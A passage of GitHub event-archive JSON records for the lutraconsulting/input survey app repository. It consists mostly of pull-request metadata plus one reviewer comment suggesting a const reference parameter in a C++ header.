","created_at":"2019-07-29T12:17:43Z","updated_at":"2019-08-01T08:55:30Z","closed_at":null,"merged_at":null,"merge_commit_sha":"b1ff2d1bf7d933472d86b28427ee5bbe5f2848ee","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/lutraconsulting/input/pulls/393/commits","review_comments_url":"https://api.github.com/repos/lutraconsulting/input/pulls/393/comments","review_comment_url":"https://api.github.com/repos/lutraconsulting/input/pulls/comments{/number}","comments_url":"https://api.github.com/repos/lutraconsulting/input/issues/393/comments","statuses_url":"https://api.github.com/repos/lutraconsulting/input/statuses/6730701f2ba9a9ec266a930d6a057c9058160710","head":{"label":"lutraconsulting:feature/photo_panel_filepaths","ref":"feature/photo_panel_filepaths","sha":"6730701f2ba9a9ec266a930d6a057c9058160710","user":{"login":"lutraconsulting","id":1312778,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMTI3Nzg=","avatar_url":"https://avatars1.githubusercontent.com/u/1312778?v=4","gravatar_id":"","url":"https://api.github.com/users/lutraconsulting","html_url":"https://github.com/lutraconsulting","followers_url":"https://api.github.com/users/lutraconsulting/followers","following_url":"https://api.github.com/users/lutraconsulting/following{/other_user}","gists_url":"https://api.github.com/users/lutraconsulting/gists{/gist_id}","starred_url":"https://api.github.com/users/lutraconsulting/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lutraconsulting/subscriptions","organizations_url":"https://api.github.com/users/lutraconsulting/orgs","repos_url":"https://api.github.com/users/lutraconsulting/repos","events_url":"https://api.github.com/users/lutraconsulting/events{/privacy}","received_events_url":"https://api.github.com/users/lutraconsulting/received_events","type":"Organization","site_admin":false},"repo":{"id":46554390,"node_id":"MDEwOlJlcG9zaXRvcnk0NjU1NDM5MA==","name":"input","full_name":"lutraconsulting/input","private":false,"owner":{"login":"lutraconsulting","id":1312778,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMTI3Nzg=","avatar_url":"https://avatars1.githubusercontent.com/u/1312778?v=4","gravatar_id":"","url":"https://api.github.com/users/lutraconsulting","html_url":"https://github.com/lutraconsulting","followers_url":"https://api.github.com/users/lutraconsulting/followers","following_url":"https://api.github.com/users/lutraconsulting/following{/other_user}","gists_url":"https://api.github.com/users/lutraconsulting/gists{/gist_id}","starred_url":"https://api.github.com/users/lutraconsulting/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lutraconsulting/subscriptions","organizations_url":"https://api.github.com/users/lutraconsulting/orgs","repos_url":"https://api.github.com/users/lutraconsulting/repos","events_url":"https://api.github.com/users/lutraconsulting/events{/privacy}","received_events_url":"https://api.github.com/users/lutraconsulting/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/lutraconsulting/input","description":"Survey made easy (Android app)","fork":false,"url":"https://api.github.com/repos/lutraconsulting/input","forks_url":"https://api.github.com/repos/lutraconsulting/input/forks","keys_url":"https://api.github.com/repos/lutraconsulting/input/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lutraconsulting/input/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lutraconsulting/input/teams","hooks_url":"https://api.github.com/repos/lutraconsulting/input/hooks","issue_events_url":"https://api.github.com/repos/lutraconsulting/input/issues/events{/number}","events_url":"https://api.github.com/repos/lutraconsulting/input/events","assignees_url":"https://api.github.com/repos/lutraconsulting/input/assignees{/user}","branches_url":"https://api.github.com/repos/lutraconsulting/input/branches{/branch}","tags_url":"https://api.github.com/repos/lutraconsulting/input/tags","blobs_url":"https://api.github.com/repos/lutraconsulting/input/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lutraconsulting/input/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lutraconsulting/input/git/refs{/sha}","trees_url":"https://api.github.com/repos/lutraconsulting/input/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lutraconsulting/input/statuses/{sha}","languages_url":"https://api.github.com/repos/lutraconsulting/input/languages","stargazers_url":"https://api.github.com/repos/lutraconsulting/input/stargazers","contributors_url":"https://api.github.com/repos/lutraconsulting/input/contributors","subscribers_url":"https://api.github.com/repos/lutraconsulting/input/subscribers","subscription_url":"https://api.github.com/repos/lutraconsulting/input/subscription","commits_url":"https://api.github.com/repos/lutraconsulting/input/commits{/sha}","git_commits_url":"https://api.github.com/repos/lutraconsulting/input/git/commits{/sha}","comments_url":"https://api.github.com/repos/lutraconsulting/input/comments{/number}","issue_comment_url":"https://api.github.com/repos/lutraconsulting/input/issues/comments{/number}","contents_url":"https://api.github.com/repos/lutraconsulting/input/contents/{+path}","compare_url":"https://api.github.com/repos/lutraconsulting/input/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lutraconsulting/input/merges","archive_url":"https://api.github.com/repos/lutraconsulting/input/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lutraconsulting/input/downloads","issues_url":"https://api.github.com/repos/lutraconsulting/input/issues{/number}","pulls_url":"https://api.github.com/repos/lutraconsulting/input/pulls{/number}","milestones_url":"https://api.github.com/repos/lutraconsulting/input/milestones{/number}","notifications_url":"https://api.github.com/repos/lutraconsulting/input/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lutraconsulting/input/labels{/name}","releases_url":"https://api.github.com/repos/lutraconsulting/input/releases{/id}","deployments_url":"https://api.github.com/repos/lutraconsulting/input/deployments","created_at":"2015-11-20T10:05:49Z","updated_at":"2019-07-31T16:26:37Z","pushed_at":"2019-07-31T16:26:34Z","git_url":"git://github.com/lutraconsulting/input.git","ssh_url":"git@github.com:lutraconsulting/input.git","clone_url":"https://github.com/lutraconsulting/input.git","svn_url":"https://github.com/lutraconsulting/input","homepage":"https://inputapp.io/","size":5890,"stargazers_count":27,"watchers_count":27,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":7,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":67,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":7,"open_issues":67,"watchers":27,"default_branch":"master"}},"base":{"label":"lutraconsulting:master","ref":"master","sha":"636b7bb69c3b5d16df6a867f81b46e4277fc4c6f","user":{"login":"lutraconsulting","id":1312778,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMTI3Nzg=","avatar_url":"https://avatars1.githubusercontent.com/u/1312778?v=4","gravatar_id":"","url":"https://api.github.com/users/lutraconsulting","html_url":"https://github.com/lutraconsulting","followers_url":"https://api.github.com/users/lutraconsulting/followers","following_url":"https://api.github.com/users/lutraconsulting/following{/other_user}","gists_url":"https://api.github.com/users/lutraconsulting/gists{/gist_id}","starred_url":"https://api.github.com/users/lutraconsulting/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lutraconsulting/subscriptions","organizations_url":"https://api.github.com/users/lutraconsulting/orgs","repos_url":"https://api.github.com/users/lutraconsulting/repos","events_url":"https://api.github.com/users/lutraconsulting/events{/privacy}","received_events_url":"https://api.github.com/users/lutraconsulting/received_events","type":"Organization","site_admin":false},"repo":{"id":46554390,"node_id":"MDEwOlJlcG9zaXRvcnk0NjU1NDM5MA==","name":"input","full_name":"lutraconsulting/input","private":false,"owner":{"login":"lutraconsulting","id":1312778,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMTI3Nzg=","avatar_url":"https://avatars1.githubusercontent.com/u/1312778?v=4","gravatar_id":"","url":"https://api.github.com/users/lutraconsulting","html_url":"https://github.com/lutraconsulting","followers_url":"https://api.github.com/users/lutraconsulting/followers","following_url":"https://api.github.com/users/lutraconsulting/following{/other_user}","gists_url":"https://api.github.com/users/lutraconsulting/gists{/gist_id}","starred_url":"https://api.github.com/users/lutraconsulting/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lutraconsulting/subscriptions","organizations_url":"https://api.github.com/users/lutraconsulting/orgs","repos_url":"https://api.github.com/users/lutraconsulting/repos","events_url":"https://api.github.com/users/lutraconsulting/events{/privacy}","received_events_url":"https://api.github.com/users/lutraconsulting/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/lutraconsulting/input","description":"Survey made easy (Android app)","fork":false,"url":"https://api.github.com/repos/lutraconsulting/input","forks_url":"https://api.github.com/repos/lutraconsulting/input/forks","keys_url":"https://api.github.com/repos/lutraconsulting/input/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lutraconsulting/input/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lutraconsulting/input/teams","hooks_url":"https://api.github.com/repos/lutraconsulting/input/hooks","issue_events_url":"https://api.github.com/repos/lutraconsulting/input/issues/events{/number}","events_url":"https://api.github.com/repos/lutraconsulting/input/events","assignees_url":"https://api.github.com/repos/lutraconsulting/input/assignees{/user}","branches_url":"https://api.github.com/repos/lutraconsulting/input/branches{/branch}","tags_url":"https://api.github.com/repos/lutraconsulting/input/tags","blobs_url":"https://api.github.com/repos/lutraconsulting/input/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lutraconsulting/input/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lutraconsulting/input/git/refs{/sha}","trees_url":"https://api.github.com/repos/lutraconsulting/input/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lutraconsulting/input/statuses/{sha}","languages_url":"https://api.github.com/repos/lutraconsulting/input/languages","stargazers_url":"https://api.github.com/repos/lutraconsulting/input/stargazers","contributors_url":"https://api.github.com/repos/lutraconsulting/input/contributors","subscribers_url":"https://api.github.com/repos/lutraconsulting/input/subscribers","subscription_url":"https://api.github.com/repos/lutraconsulting/input/subscription","commits_url":"https://api.github.com/repos/lutraconsulting/input/commits{/sha}","git_commits_url":"https://api.github.com/repos/lutraconsulting/input/git/commits{/sha}","comments_url":"https://api.github.com/repos/lutraconsulting/input/comments{/number}","issue_comment_url":"https://api.github.com/repos/lutraconsulting/input/issues/comments{/number}","contents_url":"https://api.github.com/repos/lutraconsulting/input/contents/{+path}","compare_url":"https://api.github.com/repos/lutraconsulting/input/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lutraconsulting/input/merges","archive_url":"https://api.github.com/repos/lutraconsulting/input/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lutraconsulting/input/downloads","issues_url":"https://api.github.com/repos/lutraconsulting/input/issues{/number}","pulls_url":"https://api.github.com/repos/lutraconsulting/input/pulls{/number}","milestones_url":"https://api.github.com/repos/lutraconsulting/input/milestones{/number}","notifications_url":"https://api.github.com/repos/lutraconsulting/input/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lutraconsulting/input/labels{/name}","releases_url":"https://api.github.com/repos/lutraconsulting/input/releases{/id}","deployments_url":"https://api.github.com/repos/lutraconsulting/input/deployments","created_at":"2015-11-20T10:05:49Z","updated_at":"2019-07-31T16:26:37Z","pushed_at":"2019-07-31T16:26:34Z","git_url":"git://github.com/lutraconsulting/input.git","ssh_url":"git@github.com:lutraconsulting/input.git","clone_url":"https://github.com/lutraconsulting/input.git","svn_url":"https://github.com/lutraconsulting/input","homepage":"https://inputapp.io/","size":5890,"stargazers_count":27,"watchers_count":27,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":7,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":67,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":7,"open_issues":67,"watchers":27,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/393"},"html":{"href":"https://github.com/lutraconsulting/input/pull/393"},"issue":{"href":"https://api.github.com/repos/lutraconsulting/input/issues/393"},"comments":{"href":"https://api.github.com/repos/lutraconsulting/input/issues/393/comments"},"review_comments":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/393/comments"},"review_comment":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/393/commits"},"statuses":{"href":"https://api.github.com/repos/lutraconsulting/input/statuses/6730701f2ba9a9ec266a930d6a057c9058160710"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 46554390,
"name": "lutraconsulting/input",
"url": "https://api.github.com/repos/lutraconsulting/input"
}
|
{
"id": 6735606,
"login": "sklencar",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/6735606?",
"url": "https://api.github.com/users/sklencar"
}
|
{
"id": 1312778,
"login": "lutraconsulting",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1312778?",
"url": "https://api.github.com/orgs/lutraconsulting"
}
| 2019-08-01T08:55:30 |
10126862225
|
{"actor":{"display_login":"sklencar"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/lutraconsulting/input/pulls/comments/298036889","pull_request_review_id":255043780,"id":298036889,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI5ODAzNjg4OQ==","diff_hunk":"@@ -256,6 +257,7 @@ class MerginApi: public QObject\n ProjectStatus getProjectStatus( std::shared_ptr<MerginProject> project, const QDateTime &lastMod );\n QDateTime getLastModifiedFileDateTime( const QString &path );\n int getProjectFilesCount( const QString &path );\n+ bool isInIgnore( QFileInfo info );","path":"app/merginapi.h","position":12,"original_position":12,"commit_id":"f6846fc4e5bb478f54a9ad95c417fb8191269192","original_commit_id":"f6846fc4e5bb478f54a9ad95c417fb8191269192","user":{"login":"wonder-sk","id":193367,"node_id":"MDQ6VXNlcjE5MzM2Nw==","avatar_url":"https://avatars1.githubusercontent.com/u/193367?v=4","gravatar_id":"","url":"https://api.github.com/users/wonder-sk","html_url":"https://github.com/wonder-sk","followers_url":"https://api.github.com/users/wonder-sk/followers","following_url":"https://api.github.com/users/wonder-sk/following{/other_user}","gists_url":"https://api.github.com/users/wonder-sk/gists{/gist_id}","starred_url":"https://api.github.com/users/wonder-sk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wonder-sk/subscriptions","organizations_url":"https://api.github.com/users/wonder-sk/orgs","repos_url":"https://api.github.com/users/wonder-sk/repos","events_url":"https://api.github.com/users/wonder-sk/events{/privacy}","received_events_url":"https://api.github.com/users/wonder-sk/received_events","type":"User","site_admin":false},"body":"it's a good habit to use `const QFileInfo & info` when passing as a function argument","created_at":"2019-06-27T07:16:16Z","updated_at":"2019-06-27T07:17:23Z","html_url":"https://github.com/lutraconsulting/input/pull/341#discussion_r298036889","pull_request_url":"https://api.github.com/repos/lutraconsulting/input/pulls/341","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/comments/298036889"},"html":{"href":"https://github.com/lutraconsulting/input/pull/341#discussion_r298036889"},"pull_request":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/341"}}},"pull_request":{"url":"https://api.github.com/repos/lutraconsulting/input/pulls/341","id":292006750,"node_id":"MDExOlB1bGxSZXF1ZXN0MjkyMDA2NzUw","html_url":"https://github.com/lutraconsulting/input/pull/341","diff_url":"https://github.com/lutraconsulting/input/pull/341.diff","patch_url":"https://github.com/lutraconsulting/input/pull/341.patch","issue_url":"https://api.github.com/repos/lutraconsulting/input/issues/341","number":341,"state":"open","locked":false,"title":"Feature/ignore files","user":{"login":"sklencar","id":6735606,"node_id":"MDQ6VXNlcjY3MzU2MDY=","avatar_url":"https://avatars2.githubusercontent.com/u/6735606?v=4","gravatar_id":"","url":"https://api.github.com/users/sklencar","html_url":"https://github.com/sklencar","followers_url":"https://api.github.com/users/sklencar/followers","following_url":"https://api.github.com/users/sklencar/following{/other_user}","gists_url":"https://api.github.com/users/sklencar/gists{/gist_id}","starred_url":"https://api.github.com/users/sklencar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sklencar/subscriptions","organizations_url":"https://api.github.com/users/sklencar/orgs","repos_url":"https://api.github.com/users/sklencar/repos","events_url":"https://api.github.com/users/sklencar/events{/privacy}","received_events_url":"https://api.github.com/users/sklencar/received_events","type":"User","site_admin":false},"body":"closes #340 ","created_at":"2019-06-26T14:06:26Z","updated_at":"2019-06-27T07:17:23Z","closed_at":null,"merged_at":null,"merge_commit_sha":"3003820deafb3c09d65398569b2c046a7aae5530","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/lutraconsulting/input/pulls/341/commits","review_comments_url":"https://api.github.com/repos/lutraconsulting/input/pulls/341/comments","review_comment_url":"https://api.github.com/repos/lutraconsulting/input/pulls/comments{/number}","comments_url":"https://api.github.com/repos/lutraconsulting/input/issues/341/comments","statuses_url":"https://api.github.com/repos/lutraconsulting/input/statuses/f6846fc4e5bb478f54a9ad95c417fb8191269192","head":{"label":"lutraconsulting:fature/ignore_files_#340","ref":"fature/ignore_files_#340","sha":"f6846fc4e5bb478f54a9ad95c417fb8191269192","user":{"login":"lutraconsulting","id":1312778,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMTI3Nzg=","avatar_url":"https://avatars1.githubusercontent.com/u/1312778?v=4","gravatar_id":"","url":"https://api.github.com/users/lutraconsulting","html_url":"https://github.com/lutraconsulting","followers_url":"https://api.github.com/users/lutraconsulting/followers","following_url":"https://api.github.com/users/lutraconsulting/following{/other_user}","gists_url":"https://api.github.com/users/lutraconsulting/gists{/gist_id}","starred_url":"https://api.github.com/users/lutraconsulting/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lutraconsulting/subscriptions","organizations_url":"https://api.github.com/users/lutraconsulting/orgs","repos_url":"https://api.github.com/users/lutraconsulting/repos","events_url":"https://api.github.com/users/lutraconsulting/events{/privacy}","received_events_url":"https://api.github.com/users/lutraconsulting/received_events","type":"Organization","site_admin":false},"repo":{"id":46554390,"node_id":"MDEwOlJlcG9zaXRvcnk0NjU1NDM5MA==","name":"input","full_name":"lutraconsulting/input","private":false,"owner":{"login":"lutraconsulting","id":1312778,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMTI3Nzg=","avatar_url":"https://avatars1.githubusercontent.com/u/1312778?v=4","gravatar_id":"","url":"https://api.github.com/users/lutraconsulting","html_url":"https://github.com/lutraconsulting","followers_url":"https://api.github.com/users/lutraconsulting/followers","following_url":"https://api.github.com/users/lutraconsulting/following{/other_user}","gists_url":"https://api.github.com/users/lutraconsulting/gists{/gist_id}","starred_url":"https://api.github.com/users/lutraconsulting/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lutraconsulting/subscriptions","organizations_url":"https://api.github.com/users/lutraconsulting/orgs","repos_url":"https://api.github.com/users/lutraconsulting/repos","events_url":"https://api.github.com/users/lutraconsulting/events{/privacy}","received_events_url":"https://api.github.com/users/lutraconsulting/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/lutraconsulting/input","description":"Survey made easy (Android app)","fork":false,"url":"https://api.github.com/repos/lutraconsulting/input","forks_url":"https://api.github.com/repos/lutraconsulting/input/forks","keys_url":"https://api.github.com/repos/lutraconsulting/input/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lutraconsulting/input/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lutraconsulting/input/teams","hooks_url":"https://api.github.com/repos/lutraconsulting/input/hooks","issue_events_url":"https://api.github.com/repos/lutraconsulting/input/issues/events{/number}","events_url":"https://api.github.com/repos/lutraconsulting/input/events","assignees_url":"https://api.github.com/repos/lutraconsulting/input/assignees{/user}","branches_url":"https://api.github.com/repos/lutraconsulting/input/branches{/branch}","tags_url":"https://api.github.com/repos/lutraconsulting/input/tags","blobs_url":"https://api.github.com/repos/lutraconsulting/input/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lutraconsulting/input/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lutraconsulting/input/git/refs{/sha}","trees_url":"https://api.github.com/repos/lutraconsulting/input/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lutraconsulting/input/statuses/{sha}","languages_url":"https://api.github.com/repos/lutraconsulting/input/languages","stargazers_url":"https://api.github.com/repos/lutraconsulting/input/stargazers","contributors_url":"https://api.github.com/repos/lutraconsulting/input/contributors","subscribers_url":"https://api.github.com/repos/lutraconsulting/input/subscribers","subscription_url":"https://api.github.com/repos/lutraconsulting/input/subscription","commits_url":"https://api.github.com/repos/lutraconsulting/input/commits{/sha}","git_commits_url":"https://api.github.com/repos/lutraconsulting/input/git/commits{/sha}","comments_url":"https://api.github.com/repos/lutraconsulting/input/comments{/number}","issue_comment_url":"https://api.github.com/repos/lutraconsulting/input/issues/comments{/number}","contents_url":"https://api.github.com/repos/lutraconsulting/input/contents/{+path}","compare_url":"https://api.github.com/repos/lutraconsulting/input/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lutraconsulting/input/merges","archive_url":"https://api.github.com/repos/lutraconsulting/input/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lutraconsulting/input/downloads","issues_url":"https://api.github.com/repos/lutraconsulting/input/issues{/number}","pulls_url":"https://api.github.com/repos/lutraconsulting/input/pulls{/number}","milestones_url":"https://api.github.com/repos/lutraconsulting/input/milestones{/number}","notifications_url":"https://api.github.com/repos/lutraconsulting/input/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lutraconsulting/input/labels{/name}","releases_url":"https://api.github.com/repos/lutraconsulting/input/releases{/id}","deployments_url":"https://api.github.com/repos/lutraconsulting/input/deployments","created_at":"2015-11-20T10:05:49Z","updated_at":"2019-06-26T13:14:47Z","pushed_at":"2019-06-26T15:10:23Z","git_url":"git://github.com/lutraconsulting/input.git","ssh_url":"git@github.com:lutraconsulting/input.git","clone_url":"https://github.com/lutraconsulting/input.git","svn_url":"https://github.com/lutraconsulting/input","homepage":"https://inputapp.io/","size":4982,"stargazers_count":24,"watchers_count":24,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":7,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":53,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":7,"open_issues":53,"watchers":24,"default_branch":"master"}},"base":{"label":"lutraconsulting:master","ref":"master","sha":"e4574d7c83b78cb3c137cad4e72991c7e5da623e","user":{"login":"lutraconsulting","id":1312778,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMTI3Nzg=","avatar_url":"https://avatars1.githubusercontent.com/u/1312778?v=4","gravatar_id":"","url":"https://api.github.com/users/lutraconsulting","html_url":"https://github.com/lutraconsulting","followers_url":"https://api.github.com/users/lutraconsulting/followers","following_url":"https://api.github.com/users/lutraconsulting/following{/other_user}","gists_url":"https://api.github.com/users/lutraconsulting/gists{/gist_id}","starred_url":"https://api.github.com/users/lutraconsulting/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lutraconsulting/subscriptions","organizations_url":"https://api.github.com/users/lutraconsulting/orgs","repos_url":"https://api.github.com/users/lutraconsulting/repos","events_url":"https://api.github.com/users/lutraconsulting/events{/privacy}","received_events_url":"https://api.github.com/users/lutraconsulting/received_events","type":"Organization","site_admin":false},"repo":{"id":46554390,"node_id":"MDEwOlJlcG9zaXRvcnk0NjU1NDM5MA==","name":"input","full_name":"lutraconsulting/input","private":false,"owner":{"login":"lutraconsulting","id":1312778,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEzMTI3Nzg=","avatar_url":"https://avatars1.githubusercontent.com/u/1312778?v=4","gravatar_id":"","url":"https://api.github.com/users/lutraconsulting","html_url":"https://github.com/lutraconsulting","followers_url":"https://api.github.com/users/lutraconsulting/followers","following_url":"https://api.github.com/users/lutraconsulting/following{/other_user}","gists_url":"https://api.github.com/users/lutraconsulting/gists{/gist_id}","starred_url":"https://api.github.com/users/lutraconsulting/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lutraconsulting/subscriptions","organizations_url":"https://api.github.com/users/lutraconsulting/orgs","repos_url":"https://api.github.com/users/lutraconsulting/repos","events_url":"https://api.github.com/users/lutraconsulting/events{/privacy}","received_events_url":"https://api.github.com/users/lutraconsulting/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/lutraconsulting/input","description":"Survey made easy (Android app)","fork":false,"url":"https://api.github.com/repos/lutraconsulting/input","forks_url":"https://api.github.com/repos/lutraconsulting/input/forks","keys_url":"https://api.github.com/repos/lutraconsulting/input/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lutraconsulting/input/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lutraconsulting/input/teams","hooks_url":"https://api.github.com/repos/lutraconsulting/input/hooks","issue_events_url":"https://api.github.com/repos/lutraconsulting/input/issues/events{/number}","events_url":"https://api.github.com/repos/lutraconsulting/input/events","assignees_url":"https://api.github.com/repos/lutraconsulting/input/assignees{/user}","branches_url":"https://api.github.com/repos/lutraconsulting/input/branches{/branch}","tags_url":"https://api.github.com/repos/lutraconsulting/input/tags","blobs_url":"https://api.github.com/repos/lutraconsulting/input/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lutraconsulting/input/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lutraconsulting/input/git/refs{/sha}","trees_url":"https://api.github.com/repos/lutraconsulting/input/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lutraconsulting/input/statuses/{sha}","languages_url":"https://api.github.com/repos/lutraconsulting/input/languages","stargazers_url":"https://api.github.com/repos/lutraconsulting/input/stargazers","contributors_url":"https://api.github.com/repos/lutraconsulting/input/contributors","subscribers_url":"https://api.github.com/repos/lutraconsulting/input/subscribers","subscription_url":"https://api.github.com/repos/lutraconsulting/input/subscription","commits_url":"https://api.github.com/repos/lutraconsulting/input/commits{/sha}","git_commits_url":"https://api.github.com/repos/lutraconsulting/input/git/commits{/sha}","comments_url":"https://api.github.com/repos/lutraconsulting/input/comments{/number}","issue_comment_url":"https://api.github.com/repos/lutraconsulting/input/issues/comments{/number}","contents_url":"https://api.github.com/repos/lutraconsulting/input/contents/{+path}","compare_url":"https://api.github.com/repos/lutraconsulting/input/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lutraconsulting/input/merges","archive_url":"https://api.github.com/repos/lutraconsulting/input/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lutraconsulting/input/downloads","issues_url":"https://api.github.com/repos/lutraconsulting/input/issues{/number}","pulls_url":"https://api.github.com/repos/lutraconsulting/input/pulls{/number}","milestones_url":"https://api.github.com/repos/lutraconsulting/input/milestones{/number}","notifications_url":"https://api.github.com/repos/lutraconsulting/input/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lutraconsulting/input/labels{/name}","releases_url":"https://api.github.com/repos/lutraconsulting/input/releases{/id}","deployments_url":"https://api.github.com/repos/lutraconsulting/input/deployments","created_at":"2015-11-20T10:05:49Z","updated_at":"2019-06-26T13:14:47Z","pushed_at":"2019-06-26T15:10:23Z","git_url":"git://github.com/lutraconsulting/input.git","ssh_url":"git@github.com:lutraconsulting/input.git","clone_url":"https://github.com/lutraconsulting/input.git","svn_url":"https://github.com/lutraconsulting/input","homepage":"https://inputapp.io/","size":4982,"stargazers_count":24,"watchers_count":24,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":7,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":53,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":7,"open_issues":53,"watchers":24,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/341"},"html":{"href":"https://github.com/lutraconsulting/input/pull/341"},"issue":{"href":"https://api.github.com/repos/lutraconsulting/input/issues/341"},"comments":{"href":"https://api.github.com/repos/lutraconsulting/input/issues/341/comments"},"review_comments":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/341/comments"},"review_comment":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/lutraconsulting/input/pulls/341/commits"},"statuses":{"href":"https://api.github.com/repos/lutraconsulting/input/statuses/f6846fc4e5bb478f54a9ad95c417fb8191269192"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 46554390,
"name": "lutraconsulting/input",
"url": "https://api.github.com/repos/lutraconsulting/input"
}
|
{
"id": 193367,
"login": "wonder-sk",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/193367?",
"url": "https://api.github.com/users/wonder-sk"
}
|
{
"id": 1312778,
"login": "lutraconsulting",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1312778?",
"url": "https://api.github.com/orgs/lutraconsulting"
}
| 2019-06-27T07:16:16 |
9903647515
|
{"actor":{"display_login":"wonder-sk"}}
|
PullRequestReviewCommentEvent
| true |
